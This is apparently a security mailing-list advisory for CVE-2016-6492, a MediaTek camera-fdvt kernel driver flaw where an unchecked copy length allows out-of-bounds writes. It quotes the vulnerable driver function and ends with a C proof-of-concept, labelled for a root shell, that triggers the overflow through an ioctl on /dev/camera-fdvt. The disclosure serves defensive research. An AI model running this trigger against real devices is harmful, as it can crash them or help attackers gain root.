[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Elevation of Privilege Vulnerability in MediaTek Driver ( CVE-2016-6492)



Details
=======

Product: MTK
platform:MT6595 -- MT6797
Security Risk: High
CVE ID: CVE-2016-6492
Credit: unLimit Security Group

Introduction
============
1.
https://github.com/jawad6233/MT6795.kernel/blob/1251b008a51be5cd97ce6da916f34fc6afa2b1d7/alps/kernel-3.10/drivers/misc/mediatek/mach/mt6795/camera_fdvt.c#L415
ioctl cmd MT6573FDVTIOC_T_SET_FDCONF_CMD
functon: MT6573 FDVT set reg to HW buffer (MT6573FDVT_SetRegHW)

2.
 Vulnerability Detail:

static int MT6573FDVT_SetRegHW(MT6573FDVTRegIO * a_pstCfg)
{
    MT6573FDVTRegIO *pREGIO = NULL;
    u32 i=0;
    static UINT8 illegalWRLogTimes = 0;

    if (NULL == a_pstCfg) {
        LOG_DBG("Null input argrment \n"); 
        return -EINVAL; 
    }

    pREGIO = (MT6573FDVTRegIO*)a_pstCfg;

    if(copy_from_user((void*)pMT6573FDVTWRBuff.u4Addr, (void *) pREGIO->pAddr, pREGIO->u4Count * sizeof(u32))) { // pREGIO->u4Count   Length not check,cause any address writeable. if pREGIO-> u4Count  control within the effective range, pREGIO-> pAddr  can be written to the specified location
        LOG_DBG("ioctl copy from user failed\n");
        return -EFAULT;
    }

    if(copy_from_user((void*)pMT6573FDVTWRBuff.u4Data, (void *) pREGIO->pData, pREGIO->u4Count * sizeof(u32))) {
        LOG_DBG("ioctl copy from user failed\n");
        return -EFAULT;
    }

    //pMT6573FDVTWRBuff.u4Counter=pREGIO->u4Count;
    //LOG_DBG("Count = %d\n", pREGIO->u4Count); 

    for( i = 0; i < pREGIO->u4Count; i++ ) {
        if ((FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i]) >= FDVT_ADDR && (FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i]) <= (FDVT_ADDR + FDVT_MAX_OFFSET))
        {
            //LOG_DBG("write addr = 0x%08x, data = 0x%08x\n", FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i],  pMT6573FDVTWRBuff.u4Data[i]); 
            FDVT_WR32(pMT6573FDVTWRBuff.u4Data[i], FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i] );
        }
        else
        {
            if(illegalWRLogTimes < 10)
            {
                LOG_DBG("Error: Writing Memory(0x%8x) Excess FDVT Range!\n", (unsigned int)(FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i]));
                illegalWRLogTimes ++;
            }
            else if(illegalWRLogTimes == 10)
            {
                LOG_DBG("Error: Writing Memory Excess FDVT Range - Log Too Much, Stop Same Logs");
                illegalWRLogTimes ++;
            }
            else{}
        }
    }

    return 0;
}


3.POC:
/*
 * Abuse it for root shell
 */
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>
#include <sys/mount.h>
#include <dirent.h>

#ifndef MAX_BUFFER_SIZE
#define MAX_BUFFER_SIZE 512
#endif

typedef struct 
{
    unsigned int  *pAddr;
    unsigned int  *pData;
    unsigned int  u4Count;
} MT6573FDVTRegIO;

#define FDVT_IOC_MAGIC    'N'
#define MT6573FDVTIOC_T_SET_FDCONF_CMD    _IOW(FDVT_IOC_MAGIC, 0x03, MT6573FDVTRegIO)

const static char *driver = "/dev/camera-fdvt";

void set_fdconf_cmd()
{
	int fd = 0;
	MT6573FDVTRegIO argc;
	
	
	fd = open(driver, O_RDWR);
	
	if (fd < 0) 
	{
        printf("Failed to open %s, with errno %s\n", driver, strerror(errno));
		system("echo 1 > /data/local/tmp/log");
        exit(EXIT_FAILURE);
    }
	
	argc.pAddr = 0x1024;
	argc.pData = 0x1024;
	argc.u4Count = 0x1024;
	
	if(ioctl(fd, MT6573FDVTIOC_T_SET_FDCONF_CMD, &argc) < 0)
	{
		printf("Allocation of structs failed, %s\n", strerror(errno));
		system("echo 2 > /data/local/tmp/log");
		exit(EXIT_FAILURE);
	}
	
	close(fd);
}


int main(int argc, char **argv, char **env) {
	set_fdconf_cmd();
	return 0;
}